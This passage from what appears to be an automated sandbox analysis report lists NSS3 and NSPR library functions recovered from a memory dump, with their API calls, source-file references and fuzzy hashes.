Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C54DC29,?), ref: 6C4CBEBB

Part of subcall function 6C51FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB85
Part of subcall function 6C51FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C51FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C54DC29,?), ref: 6C4CBEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C54DC29,?), ref: 6C4CBEF3

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 3588d4280f41b2b1c3ecff92bd5177c2ab0935d5073d2c6fb2df36f489c0e062
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: C311B776F002159BEB00CB659D45FAB77A8EF81659F140028ED09EBB90EB31DD09C7A2

Function 6C509850 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C50985B

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000038), ref: 6C509871

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6C5ED9B0,?), ref: 6C5098A2

Part of subcall function 6C51E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C51E245
Part of subcall function 6C51E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C51E254

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5098B7
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C509901
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C509910

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena_$ArenaFree$ErrorValue$Alloc_AllocateCriticalDecodeEnterInitItem_LockPoolSectionUnlockcalloc
String ID:
API String ID: 2561846027-0
Opcode ID: af719692d6d0a7c61f1559b93858397d7fd91f839bbefbf5a90425395237947f
Instruction ID: 388a53558b785177605b9b282277d6cfb0362fe3568ae3a381b445fc2eb9d4cb
Opcode Fuzzy Hash: af719692d6d0a7c61f1559b93858397d7fd91f839bbefbf5a90425395237947f
Instruction Fuzzy Hash: CE110572A00244B7FF008E655C81FA73A98AF95398F050220FD18997D6E762DC6583A1

Function 6C514820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C514EB8,?), ref: 6C514884

Part of subcall function 6C518800: TlsGetValue.KERNEL32(?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518821
Part of subcall function 6C518800: TlsGetValue.KERNEL32(?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C51883D
Part of subcall function 6C518800: EnterCriticalSection.KERNEL32(?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518856
Part of subcall function 6C518800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C518887
Part of subcall function 6C518800: PR_Unlock.NSS3(?,?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C514EB8,?,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C51484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C514EB8,?,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C51486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C514899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5148A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5148B8

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 72d72008e78cd751ec2b5fa03ae36bfa5b6b6a691abca4bc25f6703a35fb44f4
Instruction ID: 6f60e2a59be3031ebb63fc609b0c7abc67f2f93abcbedcf1dedae36f5abe4419
Opcode Fuzzy Hash: 72d72008e78cd751ec2b5fa03ae36bfa5b6b6a691abca4bc25f6703a35fb44f4
Instruction Fuzzy Hash: E921C5B6F08280E7FF109FA6DC8995A7778AF4635DB141934DE0947E01E721E81587A1

Function 6C553C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C555B40: PR_GetIdentitiesLayer.NSS3 ref: 6C555B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C553D3F

Part of subcall function 6C4CBA90: PORT_NewArena_Util.NSS3(00000800,6C553CAF,?), ref: 6C4CBABF
Part of subcall function 6C4CBA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C553CAF,?), ref: 6C4CBAD5
Part of subcall function 6C4CBA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C553CAF,?), ref: 6C4CBB08
Part of subcall function 6C4CBA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C553CAF,?), ref: 6C4CBB1A
Part of subcall function 6C4CBA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C553CAF,?), ref: 6C4CBB3B

PR_EnterMonitor.NSS3(?), ref: 6C553CCB

Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890AB
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890C9
Part of subcall function 6C589090: EnterCriticalSection.KERNEL32 ref: 6C5890E5
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C589116
Part of subcall function 6C589090: LeaveCriticalSection.KERNEL32 ref: 6C58913F

PR_EnterMonitor.NSS3(?), ref: 6C553CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C553CF8
PR_ExitMonitor.NSS3(?), ref: 6C553D15
PR_ExitMonitor.NSS3(?), ref: 6C553D2E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 3680a719e98876173c86311f66e9a4f28fcbb575e56f0a8f6600573b080b9943
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: C2112BB5A11600AFE7215A65EC41B9BB2F5EF51348F900536E40F8BB20F632FC29C652

Function 6C4D89E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C4D88AE,-00000008), ref: 6C4D8A04
EnterCriticalSection.KERNEL32(?), ref: 6C4D8A15
memset.VCRUNTIME140(6C4D88AE,00000000,00000132), ref: 6C4D8A27
PR_Unlock.NSS3(?), ref: 6C4D8A35
memset.VCRUNTIME140(6C4D88AE,00000000,00000132,00000000,-00000008,00000000,?,?,6C4D88AE,-00000008), ref: 6C4D8A45
free.MOZGLUE(6C4D88A6,?,6C4D88AE,-00000008), ref: 6C4D8A4E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 07e2a8eab6eb52e80eb163e22ca5e6eb488b8644f15df7c70f8ca7f0c9be392a
Instruction ID: 501c83bb9516d78c23c06f0f7af554bd2f033bed26f959afb781bb81fbc8a24d
Opcode Fuzzy Hash: 07e2a8eab6eb52e80eb163e22ca5e6eb488b8644f15df7c70f8ca7f0c9be392a
Instruction Fuzzy Hash: 851103B5A00301ABEB00EB69DC86E6ABB78EF05344F0215A6E90496701E732F95586E1

Function 6C51FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C51FE08

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C51FE1D

Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C51FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C51FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C51FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C51FE6F

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 8249d9a7b0658f67b55004615d13311d12f7932a44fcd1b73c564f385929c2ed
Instruction ID: 6e3de1c84b381ecedd83a3b89896b40a7c64ed08cf7981e48871d7219016018d
Opcode Fuzzy Hash: 8249d9a7b0658f67b55004615d13311d12f7932a44fcd1b73c564f385929c2ed
Instruction Fuzzy Hash: 1911E5B6605201ABFB009B55DC44E5BB3D8AF94399F148334ED1987F52E731ED14C791

Function 6C529930 Relevance: 9.1, APIs: 6, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00001000), ref: 6C52993A

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000050), ref: 6C52994B

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C529999
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5299A7
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C5299B2
PK11_GetInternalSlot.NSS3 ref: 6C5299BE

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaUtil$Arena_ErrorValue$Alloc_AllocateCriticalEnterFreeInitInternalK11_LockPoolSectionSlotUnlockcalloc
String ID:
API String ID: 3107460537-0
Opcode ID: 000dbfedb6bc53ce957a25a7b56ba80ff67aca8dd236de06f4bfab113265d8f9
Instruction ID: 2d43c91ccefa714d9047b5f72424fa8f742c1e7499a7c4b5fc01429dc31e741f
Opcode Fuzzy Hash: 000dbfedb6bc53ce957a25a7b56ba80ff67aca8dd236de06f4bfab113265d8f9
Instruction Fuzzy Hash: F1112331E0578187E720CF699D00B97B3E4AFE9798F115629FC89C2B90E764F98082A1

Function 6C5D8910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C5D892E

Part of subcall function 6C4B0F00: PR_GetPageSize.NSS3(6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F1B
Part of subcall function 6C4B0F00: PR_NewLogModule.NSS3(clock,6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F25

PR_Lock.NSS3 ref: 6C5D8950

Part of subcall function 6C589BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C4B1A48), ref: 6C589BB3
Part of subcall function 6C589BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C4B1A48), ref: 6C589BC8

getprotobynumber.WSOCK32(?), ref: 6C5D8959
GetLastError.KERNEL32(?), ref: 6C5D8967
PR_GetCurrentThread.NSS3(?,?), ref: 6C5D896F
PR_Unlock.NSS3(?,?), ref: 6C5D898A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 91b8c8ed9ff570eaff25b58df7d1231b98602d5ab1497bdca8a4251ed650e542
Instruction ID: 36963b6f2b1fe100ce4c872b2f26982fc4d65f4c6dc11d337825f6581fca1b7d
Opcode Fuzzy Hash: 91b8c8ed9ff570eaff25b58df7d1231b98602d5ab1497bdca8a4251ed650e542
Instruction Fuzzy Hash: 6511C6B2A14220DBC7009F7E9C40A4A7764AF85779F065366EC0597B61D7319C04C7DF

Function 6C52B990 Relevance: 9.1, APIs: 6, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,00000000,?,FFFFFFFF,?,6C52A78B,?), ref: 6C52B9A4

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000014,?), ref: 6C52B9B5

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PK11_HashBuf.NSS3(00000004,00000000,E4840FC0,89000000,?,?,?), ref: 6C52B9D9

Part of subcall function 6C4EDDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C4EDDEC
Part of subcall function 6C4EDDD0: PK11_DigestBegin.NSS3(00000000), ref: 6C4EDE70
Part of subcall function 6C4EDDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C4EDE83
Part of subcall function 6C4EDDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6C4EDE95
Part of subcall function 6C4EDDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C4EDEAE
Part of subcall function 6C4EDDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C4EDEBB

PR_SetError.NSS3(FFFFE013,00000000,?,?,?), ref: 6C52B9EC
SGN_CreateDigestInfo_Util.NSS3(00000004,00000000,00000014,?,?,?,?,?,?,?), ref: 6C52B9FD
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C52BA0A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_Util$Digest$Arena$Arena_Value$Alloc_AllocateBeginContextCreateCriticalDestroyEnterErrorFinalFindFreeHashInfo_InitLockPoolResultSectionTag_Unlockcalloc
String ID:
API String ID: 2979523880-0
Opcode ID: 6af475452566dea36314ae8299f84ba9469c5cb4869aaa8fd19007185aaf2503
Instruction ID: dd152da0eb07c26abaa992bd27e6a196a568fd344cad52652b816ee9cd85d15d
Opcode Fuzzy Hash: 6af475452566dea36314ae8299f84ba9469c5cb4869aaa8fd19007185aaf2503
Instruction Fuzzy Hash: D801F7B7A4034166FB0066626C41FA735898BD179DF150130FF089AAC2FBA6DD0842B1

Function 6C5CFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C5CFD9E

Part of subcall function 6C589BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C4B1A48), ref: 6C589BB3
Part of subcall function 6C589BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C4B1A48), ref: 6C589BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C5CFDB9

Part of subcall function 6C4AA900: TlsGetValue.KERNEL32(00000000,?,6C6214E4,?,6C444DD9), ref: 6C4AA90F
Part of subcall function 6C4AA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C4AA94F

PR_Unlock.NSS3 ref: 6C5CFDD4
PR_Lock.NSS3 ref: 6C5CFDF2
PR_NotifyAllCondVar.NSS3 ref: 6C5CFE0D
PR_Unlock.NSS3 ref: 6C5CFE23

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: d95e49cf64dee6df9c717cda01578bcac573f7a0fcc803bbf136ef90257928ea
Instruction ID: a00f50f2eac6b4fcc9cd701f3eb4de650a86c8bc82bc28f9f3f603d5bc9658ea
Opcode Fuzzy Hash: d95e49cf64dee6df9c717cda01578bcac573f7a0fcc803bbf136ef90257928ea
Instruction Fuzzy Hash: 6401A5F6A042109BDF049E56FC00C417771FF42269B154778E82A47BE2E723EE28C6C6

Function 6C556840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C55AA9B,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C556846

Part of subcall function 6C4B1770: calloc.MOZGLUE(00000001,0000019C,?,6C4B15C2,?,?,?,?,?,00000001,00000040), ref: 6C4B178D

PR_NewMonitor.NSS3(00000000,?,6C55AA9B,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C556855

Part of subcall function 6C518680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C4C55D0,00000000,00000000), ref: 6C51868B
Part of subcall function 6C518680: PR_NewLock.NSS3(00000000,00000000), ref: 6C5186A0
Part of subcall function 6C518680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C5186B2
